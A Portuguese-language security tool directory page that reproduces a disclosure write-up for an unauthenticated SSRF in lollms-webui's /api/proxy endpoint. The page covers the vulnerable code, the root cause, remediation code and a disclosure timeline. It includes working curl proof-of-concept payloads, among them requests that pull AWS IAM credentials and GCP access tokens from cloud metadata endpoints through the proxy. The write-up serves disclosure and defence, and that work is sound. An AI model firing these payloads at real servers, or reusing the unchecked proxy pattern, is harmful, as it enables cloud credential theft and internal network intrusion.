Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33340 — CVE-2026-33340: SSRF crítico em lollms-webui /api/proxy - Falsificação arbitrária de requisições sem autenticação (CVSS 9.1) | Kitploit
Ferramentas/GitHubGitHub/regaan/cve-2026-33340
ReconhecimentoAnálise de VulnerabilidadesExploraçãoSegurança WebSegurança na NuvemAprendizado e Educação
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: SSRF crítico em lollms-webui /api/proxy - Falsificação arbitrária de requisições sem autenticação (CVSS 9.1)

Ver Repositório
3há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33340: SSRF no lollms-webui

Visão Geral

CampoDetalhe
ID do CVECVE-2026-33340
VulnerabilidadeFalsificação de Requisição no Servidor (SSRF)
Produto AfetadoParisNeo/lollms-webui (LoLLMs WEBUI)
SeveridadeCrítica — CVSS 9.1
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: Falsificação de Requisição no Servidor (SSRF)
Componente Afetadolollms_core/lollms/server/endpoints/lollms_apps.py
Endpoint Vulnerável/api/proxy
AvisoGHSA-mcwr-5469-pxj4
NVDEntrada no NVD
SentinelOneAnálise da SentinelOne
Descoberto porRegaan R — ROT Independent Security Research Lab

Resumo

Uma vulnerabilidade crítica de Falsificação de Requisição no Servidor (SSRF) foi identificada no lollms-webui, a interface web do Lord of Large Language and Multi modal Systems. O endpoint @router.post("/api/proxy") permite que atacantes não autenticados forcem o servidor a realizar requisições GET arbitrárias. Isso pode ser explorado para acessar serviços internos, escanear redes locais ou exfiltrar metadados sensíveis da nuvem, como tokens IAM do AWS/GCP.


Produto Afetado

  • Repositório: ParisNeo/lollms-webui / ParisNeo/lollms
  • Componente Afetado: lollms_core/lollms/server/endpoints/lollms_apps.py (Linhas 443-450)
  • Endpoint Vulnerável: /api/proxy
  • Versões Afetadas: Todas as versões existentes conhecidas

Análise da Causa Raiz

A vulnerabilidade existe porque a função proxy em lollms_apps.py não implementa autenticação nem qualquer forma de validação de URL/domínio. Ela aceita uma string de URL bruta do usuário e a passa diretamente para um cliente HTTP assíncrono.

Código Vulnerável

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

O Que Está Errado

  1. Sem Autenticação: O endpoint não chama check_access(lollmsElfServer, request.client_id) nem nenhum middleware de autenticação, permitindo que qualquer usuário não autenticado o invoque.
  2. Sem Validação de URL: A URL fornecida pelo usuário é passada diretamente para httpx.AsyncClient().get() sem verificar o destino contra uma lista de permissões ou bloquear faixas de IP privadas/internas.
  3. Divulgação Completa da Resposta: O corpo inteiro da resposta HTTP é retornado ao chamador via {"content": response.text}, permitindo a exfiltração completa de dados.

Prova de Conceito

Etapa 1 — Configurar um serviço interno simulado

root@kitploit:~
echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Etapa 2 — Explorar o SSRF

root@kitploit:~
curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Etapa 3 — Observar a resposta

root@kitploit:~
{"content": "INTERNAL_SECRET_DATA\n"}

O servidor buscou o arquivo do serviço interno e retornou seu conteúdo ao atacante.

Exploração de Metadados da Nuvem

root@kitploit:~
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Impacto


Fluxo do Ataque

root@kitploit:~
Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Remediação Proposta

1. Adicionar Autenticação

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. Implementar Validação de URL

root@kitploit:~
from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Restringir a Domínios na Lista de Permissões

root@kitploit:~
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

Status do Patch

Na data da publicação, uma versão corrigida do lollms-webui já foi lançada.


Linha do Tempo

DataEvento
2026-03-07Vulnerabilidade descoberta e reportada via GitHub Security Advisory
2026-03-24CVE-2026-33340 publicado no NVD
2026-03-25Entrada da base de dados do NVD atualizada
2026-03-27SentinelOne publica análise da vulnerabilidade

Referências

  • NVD — CVE-2026-33340
  • GitHub Security Advisory — GHSA-mcwr-5469-pxj4
  • Banco de Dados de Vulnerabilidades da SentinelOne — CVE-2026-33340
  • Código-Fonte Vulnerável (Linhas 443-450)

Descoberto por

Regaan R (@regaan) Pesquisador Principal — ROT Independent Security Research Lab


Aviso Legal

Este relatório é publicado apenas para fins educacionais e defensivos. A vulnerabilidade foi reportada por meio de divulgação responsável via GitHub Security Advisories. Sempre obtenha autorização adequada antes de testar vulnerabilidades.


Licença

Este relatório é publicado sob a licença CC BY 4.0.

Baixar ferramenta
CenárioDescrição
Roubo de Credenciais da NuvemAtacantes em plataformas de nuvem (AWS/GCP/Azure) podem acessar http://169.254.169.254/ para obter metadados de instância, credenciais IAM e tokens de acesso — levando ao comprometimento total da conta na nuvem.
Pivotagem na Rede InternaAtacantes podem sondar bancos de dados internos, APIs, painéis de administração e interfaces de gerenciamento não expostos à internet pública.
Acesso a Serviços LocalhostAtacantes podem alcançar serviços vinculados a localhost (Redis, Elasticsearch, API do Docker, consoles de banco de dados) que confiam implicitamente no tráfego local.
Varredura de Portas InternasO SSRF pode ser usado para enumerar portas abertas e serviços em execução na rede interna, observando o tempo de resposta e as mensagens de erro.
Exfiltração de DadosQualquer dado acessível via HTTP dentro do alcance de rede do servidor pode ser lido e retornado ao atacante.